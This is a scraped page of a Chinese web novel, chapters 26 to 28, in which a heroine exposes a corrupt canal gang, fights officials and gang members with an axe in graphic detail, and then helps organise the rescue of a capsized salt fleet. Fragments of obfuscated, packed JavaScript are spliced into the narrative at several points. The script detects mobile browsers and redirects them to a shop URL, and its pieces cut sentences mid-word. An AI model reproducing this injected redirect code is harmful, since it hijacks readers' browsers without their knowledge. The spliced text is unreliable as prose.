花棘长闭了一下眼睛，曾经那一晚最为灰暗的记忆在脑海中翻涌，她强忍着悲痛，近乎冷漠地克制着自己的情绪，将事情又讲了下去。 “父亲没有应下这份活计，漕帮的人几番强迫未果，故而动了杀心。” 她抑制不住地陡然提高音量，向着所有人呼喊道：“我父亲的死因从来都不是自戕，他是被漕帮的人用绳子活活勒死，而后尸身又被残忍地丢入进江水里，伪装成自杀的！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034933|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为的就是不叫他们倒卖人口的恶性暴露！” 花棘手指用力地抓着栏杆，指甲死命地抠入进硬木里。 她在强忍着，绝不能让自己的泪水流出来，现在不是她可以暴露软弱的时候。 她伸手指向被孤立出来的漕帮几人，眼神凶狠得恨不能将他们的心肝直接挖出来，她开口似要生啖他们的血肉。 “不是我撑着最后一口气，在被他们推入水后，像鬼一样又爬了回来，他们害怕自己的丑事会被我说出来，又如何会同今日一般，定要置我于死地不可！” 花棘倾身向前，两手扑在栏杆上，高扬着头，大声疾呼： “这些年，漕帮之人背靠官府，恃强凌弱，做了多少以吸食人血赚钱的勾当，大家心里难道还不清楚吗？” 下方，被人当众拆穿的漕帮人终于按捺不住，穷凶极恶的嘴脸全然暴露了出来。 其中一人蛮横地推开一路碍事的民众，快步走来至花棘面前，抬手高指恶语相向。 “泼妇！休要信口胡言！” 大腹便便的中年男人，说话间脸上横肉狂抖不止，活像张了嘴的野猪。 男人一手叉腰，言之凿凿地嘲讽威胁道：“官府全城通缉的死刑犯，自己做的事还没交代清楚呢，敢有脸在这里贼喊抓贼？” “老子今天就要问问你，个臭婆娘，得罪了官老爷，公堂之上，你有几条命够偿？嗯？” 花棘听过，斜眼扫了一下过去，那漠视的样子，如同在看一块干瘪的粪便。 “没有官府在其背后撑腰的漕帮，不过是街头巷尾乱窜的鼠辈罢了。” 她语气激昂，一双含着热泪的眼睛，与民众间的一个又一个人对视着。 “所以，那些来路不明的暴利，暗中敛回来的钱，最后都进了谁的口袋，难道还用我明说吗？” 事情挑明至此，在场除了漕帮的人还在刻意抵赖之外，已不再有人质疑花棘所说的，但气氛却更加沉默了。 愿意开口评论的人愈发少了，就连那些质疑她，曲解她的眼神，都渐渐闪躲着，低下了头。 对立于人潮之外，孤身站在栏杆边的她，迎风独守在破败的帆布旁，是从异世闯入这里的，唯一的船长。 她带着驶过所有风暴的决心，搁浅在岸，她以为这一次的自己，也能够赢得成功。 可她错了。 人心中的阻力，才是最深的漩涡。 即便是最年轻、最优秀的远洋船长，在遭遇到这样的危机时，依旧束手无策。 ......偏偏，他们也不是非要成为乌合之众的。 气氛就这样短暂地停滞住了，肥胖的中年男人作势便要向着花棘冲来。 “臭丫头，让你随口乱说，看我今天不——” 花棘见状，刚要退回至卡着短斧的甲板旁，在她的下方，几道陌生的身影骤然聚集到了一起。 那些身影中，有男有女，有老有少，他们背对着花棘，正挡在漕帮人的面前，以血肉之躯，筑成了一道避风的人墙。 将熄的灰烬之中，仍有余温尚存。 26.第二十六章 默不作声站在她面前的这些人，花棘只看得到他们的背影。 深色衣衫包裹着黝黑的皮肤，磨损的旧痕与补丁遍布，贫苦的脊梁在阳光下闪着金光。 他们抱团在一起，围成了一个半圆，将漕帮的人牢牢地困在其中，一步一步向前逼近，任漕帮的人如何威胁恐吓，仍不动摇分毫。 当有人肯站出来这样做之后，加入其中的人便如同滚雪球一般，眨眼翻了一倍。 人潮在不觉间，已然全部站在了花棘这一边，十几个混入进来的漕帮人，很快被更加无可撼动的力量，赶出到了最外围。 花棘心中涌动的巨大欢喜难以言表，她重新来到了甲板旁的台阶上，满怀期待地向下走着，连抬起的脚步都觉得分外轻快。 她身上衣裙沉重的绛色，因为阳光温柔的调和忽而变得模糊，一起一落间，叫人感觉甚至有七彩的光晕，在她的肩头萦绕浮动。 正午的光照炙热，让人不敢逼视，却也无比从容。 洋洋洒洒的光线肆意铺陈，有意硬是要将那一点单薄的深红身影，也拉入进层叠的人海里。 花棘走下台阶的脚步愈发快了起来，她不断遥望着那些人的背影，期许着他们转过身，再次看向她的模样。 “花棘。” 这时，前方不远处，人群里突然有一道苍老的女声叫她。 那声音莫名地熟悉，一种不好的预感顿时涌上心头，花棘止住脚步，停在了倒数第三个台阶上。 一片暗色的衣衫间，随着这道声音落下，逐渐从其中的某一个点开始，自两侧逐渐后退，让出了一条明显的小路来。 小路尽头站着的人，头发灰白，身形佝偻，正是花棘来到这里，刚被揭穿身份时，拦在她面前的那位老妇。 日头当照，花棘逆着光线，看不清老妇脸上的神情。 但她看得到，那些退后两侧望向老妇的民众们，他们脸上仰慕与敬畏的神色明显，已然说明了老妇在这群人中的地位。 而当那些目光转过头来，一一落在花棘身上的时候，依然满是猜忌。 他们并不是在欢迎她，相比于她来说，他们只是更厌恶漕帮的人而已。 “煽动众多船匠一起罢工，与不明权贵勾结。” 老妇一手拄着木杖，缓步走上前来，再度开口时，径直背诵出了一段在通缉令上出现过的话。 她竟然，能识得那些字。 老妇在距花棘十几步远的地方站定，灰白相间的枯发内，抬起了一双炯炯有神的眼睛。 她说话的声音很轻，带着年迈人特有的沙哑，但吐露的每一个字眼，都包裹着浓浓的压迫感。 她质问道：“敢问花棘姑娘，与多名船匠们之间的牵连，你又当作何解释？” 老妇穿了一件深灰色的外衫，长裙褴褛，干枯的发质已经没办法像年轻女子一样盘在头顶，只能由与外衫同样颜色的布条扎着，简单拢在脑后。 发髻上看得出认真打理过的样子，但仍旧落下了许多碎发，半遮在脸颊两侧，本该显得颓丧而苍老。 可老妇明明站在下方的位置，花棘被她盯着时，却有一种叫鹰隼锁定的错觉。 那张脸上褶皱遍布，蜡黄色的皮肤松散下垂，然一对颧骨高高撑起的五官之间，自有一种凌厉的英气，不怒自威。 花棘没有立即回应老妇，她在小心地斟酌着自己该说的话。 老妇人会这样问，说明很可能已经知道了，她曾找过多名船匠一起斗船。 而且。 与多名船匠有牵扯的事实，确实是她在有意隐瞒。 她不能将自己正在做的事，当着这么多人的面讲出来，特别还有漕帮的人在场。 她自知理亏。 在她停在原地迟疑的时候，老妇看过来的目光里，压迫感始终不减，脸上神色坚定自如，根本看不出有什么厌烦。 她先试着模棱两可地道了一句：“家父此前私交好友众多，我确实也跟着认识了一些。” 老妇听完，神色全然不变，继续自下而上地盯着花棘，逼问： “花棘姑娘，我要问的是，你与众多船匠们的暗中联络，到底意欲何为？” 跟从老妇人的态度，下方众人看向花棘的视线，也变得再次戒备了起来。 花棘估计，即便是在整个后狭区，能够识得字的人都不会很多，眼前的老妇又是这样的年纪，绝无可能是寻常人。 老妇在这群人之间的地位明显，她要找的人既然也是在这片区域里，那最后成功与否，想必也和这位老妇脱不了关系。 自己不能惹恼了她，况且，她原本来到这里的初衷，便没有恶意。 “晚辈在向前辈们好心请教，至于其他更多的，抱歉，恕我无可奉告。” 所以，她这一次的回答，并没有说谎。 话说过后，老妇默不作声，又盯着花棘看了许久，这才移动拐杖，缓慢地将身体转至一侧。 花棘暗自松了一口气，老妇这样当是肯信下她的话了。 不料，她脚下才刚一有动作，老妇猛然回头，置于阴影中的一双眼睛，狠毒地看向她。 高声喝问：“可就因为花棘姑娘你，官府连带着针对、压制众多在漕运一行帮工的人，你，认也不认？” 我不杀伯仁，伯仁却因我而死。 老妇晦暗的目光中有憎恨，更有悲痛，她根本不敢直视向那样的一双眼睛。 有些事情不是因为她的关系，最多维系原状，但官府与漕帮为了阻止她联合起更多的人，势必会变本加厉地欺辱这些百姓，对他们进行恐吓和施压。 事情最后能做成还好，一旦失败，更会雪上加霜。 如今一切都才只是开始，再往后面，会牵连进更多的人...... 这便是底层人民想要反抗强权时，所要付出的巨大代价。 因为她自己的事情，将原本毫无干系的人拉进水火，还大义凛然地要去给别人洗脑说，我这是为了你好，我这是在拯救你？ 花棘没有那么自私，她说不出这样的话。 所以她道：“靠水吃饭的手艺人们，苦官府与漕帮的压迫已久，想要过上更好的生活，这件事就必须要有人去做。今天不是我花棘当着这只出头鸟，明天也有别人。” 她一手扶着栏杆，一手握拳垂在身侧，复而，俯首坦然看向老妇的眼睛，理性直言。 “而洪流一起，多数人都会受到影响，是无可避免的事。这种时候，除了继续忍耐，唯一能做的便是反抗，顽强地，带着智慧地反抗。” 说完，视线移开，她俯视着看向更多的人，郑重道： “我花棘今天在这里能够给出的承诺是，我会拼尽一切，为家父、为所有受我牵连的无辜之人，讨回一个公道，我会尽我所能将关注全数引回到我的身上，并尽快在短时间内结束此事。” 河堤边杨柳低垂，飞鸟慵懒，阳光正是浓烈，无遮无拦地铺展开时，直将暗色的屋顶都普照得蓬荜生辉。 围靠在残毁船只边的人并不少，在花棘说过一番话之后，却出奇地安静。 今天，随着这个陌生女子的蓦然闯入，发生了很多事情。 但似乎又与从前和以后的所有日子，没有分别。 苦痛的人依旧苦痛，寻常的哀伤，长久哀伤。 停留在花棘身上的视线，没多久便全部移开了，人群里大家互相对视着，彼此心照不宣，最终，注意力又都落回了老妇人身上。 老妇没急着逼问，眼睛上下将花棘的一身穿着来回打量了个遍，而后才阴阳怪气地开口道： “花棘姑娘背后既然已经有大人物撑腰，怎么还亲自跑到我们这穷乡僻壤的小地方来了，姑娘是做大事的人，我们可高攀不起。” 花棘听过，嘴角无奈地轻扯了一下。 她明白老妇的言外之意。 如同她刚开始对待李文晞的态度一样，漓州城的权贵里没有几个好东西，老妇会因此不相信她，实属正常。 不过，老妇方才对她说话的语气，明显软了下来。 这个老人家，只是还不够相信她而已。 花棘收回两只手合握腹前，终于，再无犹豫地从台阶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049259|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了下去。 止步在老妇面前时，她神色已然恢复如常。 她看着老妇的眼睛说：“我们需要大人物的帮助。” 眼前的老妇，比在高处看时更加矮小，脊背弯曲，头顶仅能到她肩膀的位置。 从她的角度看过去，她也总算看清了那一双，隐藏在灰白碎发里的眼睛。 那眼睛眸子的颜色很深，加之老人的五官有些深邃，所以，在紧盯着人看时，才会天然带上了几分凶相。 但在某些角度阳光照上去的时候，眸子颜色又明显浅了，她能够轻易在里面看见潜藏的慈祥。 面前人缓缓转过身，木质权杖一端敲击在地面上，与心跳等待的节拍逐渐重合。 老妇斜眼看向花棘，质疑道：“可信吗？” 花棘在老妇的眼中看得到凶厉，也看得到更深处涌动的期待。 李文晞可信吗？ 花棘也在问自己。 她被全城通缉的情况，看样子早已不是一天两天了，以李文晞对漓州官场内部的了解，不可能不知道这件事。 可他却从来也没有向自己透露过。 李文晞当然不可信。 “可信。”花棘略微低了头，笃定地对老妇说。 不知为何，她脑海中莫名浮现出了，几日前，傍晚时分李文晞一身红衣，跟在她身后模糊的影子。 他几次三番叫停了她，却自己一个人远远地等待在昏暗里。 李文晞至少有一件事没有骗她。 他也想要这些人死。 所以，她无所谓信不信他，只需要确定他们有着同样的目的，如此，便已足够。 眼前老妇听过，移开了视线，低下头久久沉默着。 末了，不住地摇着头，她道：“晚了，太晚了。” 花棘心中涌起不好的预感，连忙问：“晚了？什么晚了？” 老妇没再理她，兀自步履蹒跚地向着人群外走去。 嘴中反复念叨着：“还不回来，怎么还不回来啊......” 花棘跟着追了出去，拦在老妇面前，追问道：“敢问老人家，到底发生了什么事？” 迎对上老妇防备的眼神后，她扫了一眼远远被排斥在外的漕帮人，倾身向前靠近在老妇的耳边。 小声道：“实不相瞒，我来这里是为寻一个人。” 见老妇仍未有告知的打算，花棘继续主动道：“老人家，您可以帮我吗？” 老妇瞪了花棘一眼，移开视线，有些不快地低声问：“寻谁？” 花棘：“林玉溪。” 正是梅别鹤留在字条上的名字。 “你找他做甚？”老妇转过头，厉声反问。 花棘当即察觉，老妇认识林玉溪。 她直言不讳，语气诚恳：“我的船缺人手，有人告诉我，我可以来找他。” “林玉溪不在这里，你找错地方了，请回吧。” 老妇说着，语速很快，作势就要绕过花棘离去。 花棘不依，再次将人拦住，固执逼问：“林玉溪现在在哪？” “我说过了，人不在这里。”老妇登时起了情绪，怒视着咬牙道，“你——” 偏这时，人群外围倏地响起了一阵惊呼，一道道陌生的声音高喊着。 “花棘在哪里！” “人呢？快把人交出来！” “有胆敢包庇犯人者，同罪论处！” 是官府的人赶到了。 近百人聚集的造船空地上，场面瞬间一片混乱。 刚消停了一会儿的漕帮人，眼见官府的人一来，马上又大摇大摆地硬气了起来。 四周各式造船时用的工具随处散落，十几个青年汉子，一人摸了一件趁手的利器，怒骂着便走向了方才排挤他们的人流。 被围堵住来不及躲闪的一小堆人里，还有紧贴在一起，抱头痛哭的妇人和孩子。 花棘收回视线，放弃了与老妇的周旋，走回至船头下方。 从半空中狠命拔下先前留在那里的短斧，一手拎着，快步朝漕帮的人走去。 27.第二十七章 “不怕啊，不怕。” 满脸泪水与汗液混杂在一起的年轻母亲，跌倒在地，怀里紧紧地抱着自己的孩子。 被吓坏哭号不止的幼童，脸颊叫母亲的一双大手牢牢盖住，偏头不去看那正缓缓靠近的恶魔。 “跑啊。” “怎么不接着跑了？” 年轻的母亲双脚发冷，频频颤抖，她好似根本听不到那人在说什么，也不敢看向来人的脸，只一双眼睛眨也不眨地，盯着不停靠近的铁锯一端。 “别小看了这锯子，便是碗口粗的大树，仅靠这么个小玩意儿，也锯得断。” 恶魔的低语仍在持续着，越来越近，越来越近。 “不知道吧，这样的铁锯用来锯人，是最疼的了哈哈哈哈——” 来人说着，兴奋地径直大笑了起来，而后，又继续慢条斯理地道：“你说？先从你身上的哪里下手呢？我可要好好地想一想。” “......要不，我们就从脸先开始吧？” “谁让你哭起来的样子，这么惹人怜爱呢？” 几步之外的铁锯看起来愈发大了，好似距之前的模样，陡然翻了两倍。 泪水逐渐模糊着视线，但母亲的眼睛始终瞪得老大，一下也不敢眨地死死盯着铁锯。 她也在害怕着，非常害怕。 但她一遍一遍地告诉自己要勇敢，必须勇敢。 怀里颤抖着的那一份温热，那一颗猛烈跳动的心脏，就是她的勇敢。 “等我先折磨完你，然后再是那个小的，到时候你就在旁边看着哈哈哈哈......” 近在耳边的声音，轻易盖过了更远处撕心裂肺的嚎叫，被十几个人围堵着拼命挣扎的孩子父亲，满身满脸都是血痕。 阻隔在他们中间的，是更加慌乱的人群，被风暴卷起的每一粒尘埃都自顾不暇。 哭声不止的一角，锈迹斑驳的铁锯高高扬起，年轻的母亲如同敏捷的猎豹一般迅速站了起来。 她将自己的孩子用力向身后推开，而后，怒吼着向铁锯扑去。 一阵突兀的急风猛然吹起，下一秒，已经来至她眼前的铁锯，莫名自己滚到了地上。 视线下移，一抹流动的红色刺进了她的眼睛。 她看见，那滚落的铁锯握把上，还沾着半截抽搐的手臂。 她在巨大的惊恐中转过头，两眼前方血淋淋的断口处，有什么东西正要喷涌而出。 “走！” 突然，一只不知从哪里冒出来的手臂，将她朝自己孩子的方向大力推去。 踉跄中一抹高挑消瘦的绛红色身影突然出现，挡在了她和发狂的恶魔之间。 “带上你的孩子快走！” 一手握着短斧的女子对着她大吼：“离我远点！越远越好！走！” 短斧上挂了一层又一层的血正在往下滴，发髻凌乱的女子狼狈地喘着粗气，原来这就是通缉令上的那个花棘。 年轻的母亲抬眼匆忙看了一眼花棘的脸后，回身抱起自己的孩子便跑。 当空的烈日稍有倾斜，到了一天中最热的时候，一隅的安宁被全然打乱，烟尘飞舞，惊惧撕咬着喉咙，人间不复。 花棘感觉到了自己后背处逐渐粘稠的潮湿，布料贴在皮肤上，一阵一阵地发烫，每一次的呼吸里，都掺杂着浓重的血腥味。 在她身后，男人尖利的嘶喊已经持续有一会儿了，确认那对母子跑到安全的地方之后，她才不紧不慢地转过身。 黝黑干瘦的中年男人，攥着一侧手臂，整个身体因剧痛萎缩在一起，大张的嘴叫个不停，活像某种恶心的爬虫。 花棘将浸满了鲜血的铁斧举到眼前，满意地打量着。 同样是用冷兵器近距离砍人，奇怪，这一次过后，她手不仅没抖，心里也再没有了害怕，只有一份不断上涌的痛快。 她高昂着头，斜眼向下盯着地上左右翻滚的人，拎着铁斧一步一步缓慢靠近。 男子看着她，惊悸的眼神仿佛是看到了某位索命的厉鬼。 他一边艰难地双脚蹬地，向后极其缓慢地蠕动着，一边失控地大喊：“你，你要干什么？你，你别过来！” 花棘听过诡异地笑了笑，抬手一抹脸颊两侧流下的汗，嘴角也由此染上了红。 她显得毫不在意，依旧笑着，语气淡淡地道：“你们今天惹错了人，我会让你们一辈子都记住这个教训。” 话说完，人已经走到了男子脚边。 “我错了，我，我，是我错了。” 先前还嚣张的气焰荡然无存，男子哭嚎着不断求饶。 任两只脚上的鞋子全部蹬掉，在那个女人的逼近之下，仍不能退后更多。 “我求求你放过我，放过我，只要你放过我，你让我做什么都行。” “不行。” 花棘说着，右脚向前迈出一步，落下时狠命跺在了身下人的脚踝上。 “啊啊啊啊——” 在男子吃痛的惊呼中，花棘俯下身，看着男子扭曲的嘴脸，一字一句道： “今天漕帮的人，一个也不许直着走出去。” 男子见花棘不可能再放过他，转而咬紧牙关，气急败坏地用尽全身力气大喊道： “在这呢！” “花棘人在这呢，来人，快来人！” 花棘轻声道：“晚了。” 说完，视线收回，双手一齐握着短斧，高举过头顶，调动起全身的力量，朝着男人的小腿奋力一砍。 她在骨头的断裂声和嘶哑的叫喊中，闭上眼睛，仰起头，等待滚烫的液体，喷涌着扑在脸上。 这一刻，她像是沐浴在冰雪消融后，一场酣畅淋漓的春雨里。 很快，愈发激烈的叫骂声从各个方向响起，剩余的漕帮人和官府的差役们，全数围堵了过来。 花棘抹了一把眼睛上碍事的脏血后，撒腿便朝着人群外围的空地上跑去。 此时手持短斧浑身浴血的她，是真正杀人不眨眼的恶徒，沿途遇到的民众们无不避让，所有人都在向着与她相反的方向，死命狂奔。 奔跑中，花棘刻意向老妇所在的位置绕了一段，她已经没办法开口再说些什么了，那样会连累更多的人。 她只能视线匆忙地扫过老妇的眼睛，表明自己不会就此放弃找人的决心。 可惜，老妇拒绝的态度明显，依旧没有要告诉她的意思。 前方人潮尽散，烈日下寒光闪烁，花棘脚下步子一乱，猛然急停了下来。 “敢伤我们的人，臭婆娘，看你这次还能往哪里跑！” 三个漕帮的壮汉，正手持不知道从哪里抽出来的大刀，拦住了她的去路。 花棘没有耽搁，干脆回头，调转逃跑方向。 不想，数名身着统一红色服饰的官府差役，已然追赶了上来。 “罪犯花棘！休要再逃，还不快快束手就擒！” “大胆！不许跑！” 一眨眼的功夫，左右两边也同时被人堵了起来。 就近的民众们早全都跑光了，二十几个人用长刀围成了圆，将花棘死死地困在了里面。 包围圈在恶语和威胁中，一点一点缩小着。 然而，二十几个男人逼逼赖赖不停，短时间内却谁也不肯，做第一个动手的人。 只因他们面前这个瘦弱的女子，实在凶残地骇人，犹如彻底失去理智的疯子。 明眼人都发现了，她手上握着的那把短斧，斧头尖处的地方已经裂出了豁口。 那是纯在人骨头上砍出来的。 这个女人，斧头每一次落下都凶狠异常，哪根骨头要是被她碰到，非断即碎。 此刻人站在正中，藏在头发下的一张脸全都是血，她略低着头，不停转动身体，环望向四周，即便被他们这么多人围困住，依然看不出慌张。 一双从鲜血中射出来的眼睛，像是冷血的野兽一般，逼视着它的捕猎者，冷静又强悍。 众人仿佛听到了花棘在说： “来啊。” “试着抓住我。” 但包围圈一点一点地缩小，就是没有一个敢上前的人出现。 花棘视线从漕帮人身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17063728|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不屑地瞥开，转而落定在官府一边。 “听说，我身上已然背上了十几条人命。” 她维持着自由格斗前的起始姿势，重心略微前移，双脚呈四十五度角分开，双手提起护在头部，紧紧握着的短斧伸出在最前端。 “哪怕是披上这层红皮的人，我也不介意再多杀几个。”她从两臂的缝隙中向外看去，眼神凶狠异常。 跟着混饭吃的差役们，见她这副模样，胆子小的早吓得站都站不稳了，稍微多点心思的，立马向花棘身后的漕帮人使起了眼神。 威胁至最后，干脆大声密谋了起来。 “都怕什么！这里就她一个人。” “你们几个方向的人一起上，她还能有三头六臂不成！” 少顷，身旁缓缓向她挪进的四五个人，依旧未敢有什么动作，花棘不想再等了，举着斧子便向离她最近的一名差役砍了过去。 后方的几个漕帮人见此，心下窃喜，偷袭着一拥而上。 变故只发生在一瞬间，不知从何处冒出的黑衣人，悄然来至几人身后。 图穷匕首见。 眼角余光刚有一缕爆闪干扰了视线，下一秒，利刃划开血肉，几个人便□□脆利落地抹了脖子。 高抬至半空的长刀猛然掉落在地，惊起噼里啪啦的脆响，花棘头也不回，像是早已预料到会发生什么，狠命砍向差役的动作自始至终都没停过。 锵！ 短斧迎面打偏长刀的刹那，绛红色身影头颈后仰，腰身柔软弯曲，正闪躲掉两边人砍过来的刀锋。 而后利落起身，目标明确，直冲向正中间一人。 花棘紧追不舍，短斧先是对准其右肩猝然一下挥砍，被前方人狂叫着一个踉跄恰好躲过。 紧接着，只见她右脚脚尖轻点，借着右手挥砍一空的惯性，整个人原地一百八十度大转弯。 就在眼前人身体向左侧偏倒的间隙，花棘伸直着不断蓄力的短斧，犹如一阵凛冽的飓风呼啸而至。 随着“咔！”地一声脆响，短斧落定处，半边连着血线的胳膊直接飞了出去。 一套动作下来，行云流水，一气呵成，待旁边断裂动脉内的血即将喷涌而出的时候，花棘已经转过身，背对人走开了。 漕帮的人一倒就是一片，包围圈一角当即裂开了一个窟窿，花棘绕过地上倒着的人往过走时，六七个突然现身的黑衣人靠了上来。 “你们还真是有耐性啊。”花棘侧过头，不客气地扫了一眼身旁蒙面的程峰。 程峰还沉浸在亲眼目睹花棘砍人的震撼中无法自拔，这会儿又被人冷冰冰地瞪上一眼，心里竟发起了毛。 他一本正经地老实回应道：“先生砍人时的手法不错，我不过是想多偷学一点罢了。” 漕帮的人不会再自寻死路地往上撞，但缺口处很快便有官府的人顶了上来，一次性派这么多人过来，显然早有准备。 可若是一个地方官都能随便把她带走，那李文晞这个大靠山，也就不用再想什么宏图霸业了。 花棘这一趟带程峰来，便没想过要善了。 经此一番，她算是彻底将官府的人全给得罪了，而什么事都不肯透露给她的李文晞，也休想全身而退。 再者，她回头远远望了一眼惊慌奔逃的人群。 只有她闹得够大，其他无关之人才能更安全。 她停下脚步，转头，以不容置疑的语气，看向程峰挑衅道：“官府的人，不知道你们家主子惹不惹得起，但是漕帮的人，我有言在先，一个也不许直着走出去。” 程峰听过，挑了挑一侧眉毛。 他眼睛盯着花棘，将锋利的匕首插入进左臂的手肘间，一边缓慢地来回擦拭，一边沉声开口： “自然都惹得起。” 在程峰带人与差役纠缠的过程中，花棘看准时机，很快便趁乱抽身出来。 她一旦离开这里，闹剧也就跟着结束了。 偏就在这时，她刚要跑开，身后杂乱的人群里传出一句： “红姨！玉溪哥的船队，在狭坝，翻了！” 28.第二十八章 混乱中，不知何时，河堤边翻上来了一个浑身湿透的少年。 “红姨！玉溪哥的船队，在狭坝，翻了！” 人群中被唤作红姨的，正是先前与花棘有过交集的老妇。 红姨听罢瞳孔瞬间放大，原地愣怔了一秒之后，连忙朝正跑过来的少年高喊道：“小川，快把话说清楚，溪儿是遇到什么了？” 今日是漕运期限的最后一天，她的右眼皮从早上起来就跳个不停，却不想溪儿的船队果然出了事。 都怪她，当初溪儿要接下差事的时候，她无论如何就该拦住的。 急喘着狂奔而来的少年刚一停住，便被闻讯赶来的众人围了起来。 少年弯腰手拄着膝盖，略缓了几口气后，起身扬手将额前的乱发尽数拨去脑后。 接着，语速极快地传达道：“狭坝处的人工河坝塌了，船队的头船陷进淤泥里，船底也在石头上撞出了口子，后面跟着的几艘货船来不及减力，全都撞在一起了。” “船队内所有船只的损耗情况如何？船上货物遭损了几成？”红姨很快镇定了下来，冷静发问。 少年涨红着脸，喘息间拼命地摇着头。 “具体的情况我不清楚。”他道，“好几艘船都跟着撞在一起，挤在狭窄的水道里一动不动，玉溪哥叫我赶紧回来找人帮忙。” “我只知道，我出发往回赶的时候，已经有两艘货船在开始往水里翻了。” 少年说着，环顾向四周众人，一时间每个人的脸色都不太好。 “去！将现有的麻绳、竹筐、木簸箕、桐油，全都带上。”红姨条理清晰地对身边人快速下令，“装完一艘就先走，速度要快，快去！” 红姨这边话音刚落，旁边一道清冷的女声插了进来。 “还有足够长的新鲜竹子，能带多少带多少。载东西往过赶的，竹筏和货船都要有。” 视线汇集过去，正是去而复返的花棘。 亟待赶去准备的数道目光落在红姨身上，红姨眼睛在模样凶残的花棘身上扫过，又看回旁边的几人，无声地点了点头。 红姨在看到花棘后，明显有些意外，她还以为这个女子早趁乱逃走了呢，没想到还会回来。 她暂时不清楚花棘的提议到底意欲何为，但好歹明白其中干系是为了帮忙。 走上前来的花棘没有管红姨，而是径直停在了，那位匆忙赶回来的少年身前。 花棘直面少年，缓声追问道：“载货的船队在行运过程中，都会有意保持好一定距离，特别是在经过狭坝那样的特殊水道时，更是会格外小心，即便是河堤意外坍塌，也不会轻易有前后船相撞这样的低级错误出现，到底还有哪里出了问题？” 少年名叫何川，今年刚满十六岁，人年纪虽小，但因为一直跟在林玉溪身边，经年累月耳濡目染，已是行船走水的好手。 他眼盯着面前突然出现的女子，心下顿时一阵骇然。 女子蓬头垢面，满身染血，右手上还提了个污浊不堪的短斧，活像个精神出了问题的人。 但她说出的话却逻辑严谨，思路清楚，当是对漕运十分了解才会有的判断。 何川心有疑惑，正询问着朝红姨望去，挡在他面前的女子又再度开了口。 “什么规制的船队，商船还是货船，船只的尺寸是几丈，船队内的船只数是十艘还是十二艘？” 时间紧张，花棘挑着重点，将自己需要了解的信息，一口气都问了出来。 何川未敢直接作答，眼神询问向红姨，见其并未有阻拦的意思，这才回应道： “货船，长度是标准的九丈，船队内的船只数量共八艘。” “八艘？怎么会这么少？每一艘船只的载重是......” 花棘话问到一半，忽然停了下来，她明白事故的问题出在哪了。 “是超重吗？”她语气笃定地问。 按照这里绥朝的漕运规定，执行漕运任务的货船，通常是十艘或十二艘为一队。 而每一条官方航线，船队什么时间起航，什么样的周期抵达，要承担多少体量的货物运输，均由朝廷统一调度，是早在几个月前便层层确认好的。 运输的货物总量不变，船只却少了这么多，要硬撑着继续完成任务，那便只有超重走水了。 危机情况发生时，船身向前的巨大惯性，超出了行船可控的正常范围，如此，才会在本来熟知的水道内翻了车。 女子见识之广，完全在何川的预料之外，他已然不敢再继续回答了。 但眼前的女子显然也不需要他的回答，只听那女子又继续问：“船上的货物是什么？” “盐。”开口的是后方的红姨。 花棘听此，当即皱起了眉头。 她脑海中思绪快速转动，不多时，转而对面前的少年吩咐道：“叫前往救援的人，小型货船先行，竹筏在后，保证最快的赶路速度。” “另外，去的人要越多越好，除去留下来盯防漕帮，保护家小的人之外，其余能够出力的男丁都要去。” 说完，眼前的少年依旧满脸疑惑地看着她。 “在下花棘。”她于是最后补充了一句。 这个名字一出，少年的眉眼明显紧了一下，花棘没有错过转瞬即逝的变故，不过，这不是她要关心的重点。 她在少年震惊地逼视中转过身去，对着红姨正色道：“通知所有人，按照我说的做。” 红姨对着何川点了点头，后者得到确认，立即狂奔着跑了出去。 随后，她防备地紧紧盯着花棘，质问道：“你要做什么？” 几十步之外，官府的人都还没有走，一旦被抓再无活路，这个叫花棘的女子是不要命了吗？ 花棘直视着红姨的眼睛，坦言道：“你心里清楚，我要救人。” 平白冒险用自己的性命去救一个陌生人？ 她知道任谁也不可能相信她，但她本就是带着目的来的。 “八艘货船的官盐一旦出了问题，林玉溪便是有多少个脑袋也不够掉的。” 她也开得出红姨根本不可能拒绝的条件。 “从方才的反应来看，你已然听过了关于我的传闻，那你也一定知道，如今，只有我可以救他。” “我帮你将人救回来，林玉溪要借给我用。”花棘高扬着下巴说道。 要请到人心甘情愿地来助她，她刚好也需要一个机会。 环绕着破败船只的人潮，还未从刚才的惊慌中缓过神来，就又开始了匆忙的准备。 河堤边第一艘准备装载救援物资的货车，已经叫八九个人一起抬着送下了水。 货船在水中才刚一停稳，临近的几人便手忙脚乱地爬了上去。 不久，又有更多从河堤上直接跳下去的人，游水猛追着已经开出去的船。 一眼望去，河水在阳光的照耀下闪烁着耀眼的粼光，零碎沉浮的黑点，转瞬便全数汇于一处，搭乘着茫茫江河中的一叶扁舟，向着磅礴驶去。 